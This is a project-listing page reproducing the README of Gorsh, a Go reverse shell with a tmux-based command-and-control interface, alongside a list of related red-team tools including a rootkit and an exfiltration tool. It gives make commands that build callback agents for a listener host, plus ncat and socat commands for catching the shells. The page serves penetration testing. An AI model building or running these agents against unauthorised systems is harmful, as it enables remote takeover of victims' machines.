All Projects → audibleblink → Gorsh

audibleblink / Gorsh

Licence: gpl-3.0
A Golang Reverse Shell w/ a Tmux-driven psuedo-C2 Interface

Programming Languages

golang
3204 projects
powershell
5483 projects

Projects that are alternatives of or similar to Gorsh

Chashell
Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.
Stars: ✭ 742 (+664.95%)
Mutual labels:  infosec, redteam, reverse-shell
Wsmanager
Webshell Manager
Stars: ✭ 99 (+2.06%)
Mutual labels:  security-tools, infosec, redteam
Hershell
Hershell is a simple TCP reverse shell written in Go.
Stars: ✭ 442 (+355.67%)
Mutual labels:  infosec, redteam, reverse-shell
Snoop
Snoop — инструмент разведки на основе открытых данных (OSINT world)
Stars: ✭ 886 (+813.4%)
Mutual labels:  infosec, redteam
Dumpsterfire
"Security Incidents In A Box!" A modular, menu-driven, cross-platform tool for building customized, time-delayed, distributed security events. Easily create custom event chains for Blue- & Red Team drills and sensor / alert mapping. Red Teams can create decoy incidents, distractions, and lures to support and scale their operations. Build event sequences ("narratives") to simulate realistic scenarios and generate corresponding network and filesystem artifacts.
Stars: ✭ 775 (+698.97%)
Mutual labels:  security-tools, infosec
Changeme
A default credential scanner.
Stars: ✭ 928 (+856.7%)
Mutual labels:  security-tools, infosec
Awesome Security Hardening
A collection of awesome security hardening guides, tools and other resources
Stars: ✭ 630 (+549.48%)
Mutual labels:  security-tools, infosec
Jaeles
The Swiss Army knife for automated Web Application Testing
Stars: ✭ 1,073 (+1006.19%)
Mutual labels:  security-tools, infosec
Checkmyhttps
We propose a user-friendly add-on that allows you to check if your encrypted web traffic (SSL/TLS) towards secured Internet servers (HTTPS) is not intercepted (being listened to).
Stars: ✭ 35 (-63.92%)
Mutual labels:  security-tools, infosec
Resources
A Storehouse of resources related to Bug Bounty Hunting collected from different sources. Latest guides, tools, methodology, platforms tips, and tricks curated by us.
Stars: ✭ 62 (-36.08%)
Mutual labels:  security-tools, infosec
Red Team Curation List
A list to discover work of red team tooling and methodology for penetration testing and security assessment
Stars: ✭ 68 (-29.9%)
Mutual labels:  infosec, redteam
Cloakify
CloakifyFactory - Data Exfiltration & Infiltration In Plain Sight; Convert any filetype into list of everyday strings, using Text-Based Steganography; Evade DLP/MLS Devices, Defeat Data Whitelisting Controls, Social Engineering of Analysts, Evade AV Detection
Stars: ✭ 1,136 (+1071.13%)
Mutual labels:  security-tools, infosec
Gitgraber
gitGraber: monitor GitHub to search and find sensitive data in real time for different online services such as: Google, Amazon, Paypal, Github, Mailgun, Facebook, Twitter, Heroku, Stripe...
Stars: ✭ 1,164 (+1100%)
Mutual labels:  security-tools, redteam
Diamorphine
LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARM64)
Stars: ✭ 725 (+647.42%)
Mutual labels:  security-tools, redteam
Hacking With Golang
Golang安全资源合集
Stars: ✭ 876 (+803.09%)
Mutual labels:  security-tools, reverse-shell
Spiderfoot
SpiderFoot automates OSINT for threat intelligence and mapping your attack surface.
Stars: ✭ 6,882 (+6994.85%)
Mutual labels:  infosec, security-tools
Pentest Chainsaw
Scrapes Router Passwords From http://www.routerpasswords.com ,more then +300 product
Stars: ✭ 36 (-62.89%)
Mutual labels:  security-tools, infosec
Purify
All-in-one tool for managing vulnerability reports from AppSec pipelines
Stars: ✭ 72 (-25.77%)
Mutual labels:  security-tools, infosec
Nishang
Nishang - Offensive PowerShell for red team, penetration testing and offensive security.
Stars: ✭ 5,943 (+6026.8%)
Mutual labels:  infosec, redteam
Ios
Most usable tools for iOS penetration testing
Stars: ✭ 563 (+480.41%)
Mutual labels:  security-tools, infosec

gorsh

[go]lang [r]everse [sh]ell

forthebadge forthebadge forthebadge forthebadge forthebadge

asciicast

Originally forked from - sysdream/hershell

Fork Changes

Requires go1.11+

See the Changelog

Getting started

git clone [email protected]:audibleblink/gorsh.git
cd gorsh
go get -u github.com/gobuffalo/packr/packr

Be sure to read the Makefile. It gives you a good idea of what's going on.

Using the zstd build tag and windll make target require cgo. Make sure you're familiar with cross-compilation and cgo and have the toolchains for it, or read here if you're feeling adventurous.

Usage

First, generate your certs and ssh keys for the reverse proxy.

$ make depends

Follow the make command's printed instructions on creating an ssh user for the reverse proxy connection.

Create configs/ssh.json. There's an example json file the configs directory.

Generate agents with:

# For the `make` targets, you only need the`LHOST`and`LPORT`environment variables.
$ make {windows,macos,linux}{32,64} LHOST=example.com LPORT=443

Enumeration Scripts

The enum command will present a selection dialog that allows once to run enumeration scripts based on the host OS. You can update scripts in scripts/prepare_enum_scripts.sh and run make enumscripts. Addition of scripts will require modification of ./internal/enum/enum_{windows,linux}.go

Catching the shell

This project ships with a server that catches the reverse shell and still provides shell-like capabilities you lose with traditional reverse shells, including:

  • Tab Completion
  • Vi-mode readline editing
  • History
  • Cursor movements

Generate the server with:

make server
build/srv/gorsh-listen --help

The gorsh-listener is a one-to-one relationship, like a traditional shell. For multiple shells, you need to start multiple servers on different ports.

To have the ability to receive multiple shells on the same port, there's the make listen target. The make listen target kicks off a socat TLS pipe and creates new tmux windows with each new incoming connection. Feed it a port number as PORT. socat is essentially acting as a TLS-terminating reverse proxy. The incoming connections are then handed off to gorsh-listener through randomly generated Unix Domain Sockets.

make listen PORT=8080

# once a client connects, on a different terminal type:
tmux attach -t GORSH

Shells can also be caught without tmux or gorsh-listen using:

  • socat (not working on macos)
  • ncat
  • openssl server module
  • metasploit multi handler (with a python/shell_reverse_tcp_ssl payload)

Examples

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
$ socat stdio OPENSSL-LISTEN:443,cert=server.pem,key=server.key,verify=0

Credits

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].